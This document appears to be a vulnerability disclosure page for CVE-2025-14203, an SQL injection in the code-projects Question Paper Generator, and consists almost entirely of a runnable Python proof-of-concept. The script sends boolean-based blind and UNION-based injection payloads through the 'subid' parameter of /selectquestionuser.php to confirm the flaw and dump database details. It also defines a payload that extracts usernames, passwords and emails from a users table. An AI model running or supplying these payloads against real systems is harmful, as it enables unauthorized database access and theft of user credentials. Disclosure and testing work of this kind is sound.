CVE-2025-14203 Question Paper Generator SQL注入漏洞

# CVE-2025-14203 SQL Injection PoC # Target: code-projects Question Paper Generator <= 1.0 # File: /selectquestionuser.php # Parameter: subid import requests import sys target_url = "http://target-host/selectquestionuser.php" def sql_injection_test(): # Normal request normal_params = {"subid": "1"} # SQL Injection payload - Boolean based blind injection # Extract database version payload_db_version = "1' AND 1=1 -- " payload_db_version_true = {"subid": payload_db_version} payload_db_version_false = {"subid": "1' AND 1=2 -- "} # SQL Injection payload - Union based injection # Get database name payload_union = "1' UNION SELECT database(),user(),version(),4 -- " payload_union_params = {"subid": payload_union} # SQL Injection payload - Extract users table data payload_extract = "1' UNION SELECT username,password,email,4 FROM users -- " payload_extract_params = {"subid": payload_extract} print("[*] Testing CVE-2025-14203 SQL Injection") print(f"[*] Target: {target_url}") # Test for vulnerability try: print("[*] Sending normal request...") r1 = requests.get(target_url, params=normal_params) print("[*] Sending injection payload (true condition)...") r2 = requests.get(target_url, params=payload_db_version_true) print("[*] Sending injection payload (false condition)...") r3 = requests.get(target_url, params=payload_db_version_false) if r2.text != r3.text: print("[+] Vulnerability confirmed! SQL Injection is possible.") print("[*] Extracting database information...") # Extract database info using UNION injection r4 = requests.get(target_url, params=payload_union_params) print(f"[+] Database Info: {r4.text[:500]}") else: print("[-] Vulnerability not confirmed or target is not vulnerable.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": sql_injection_test()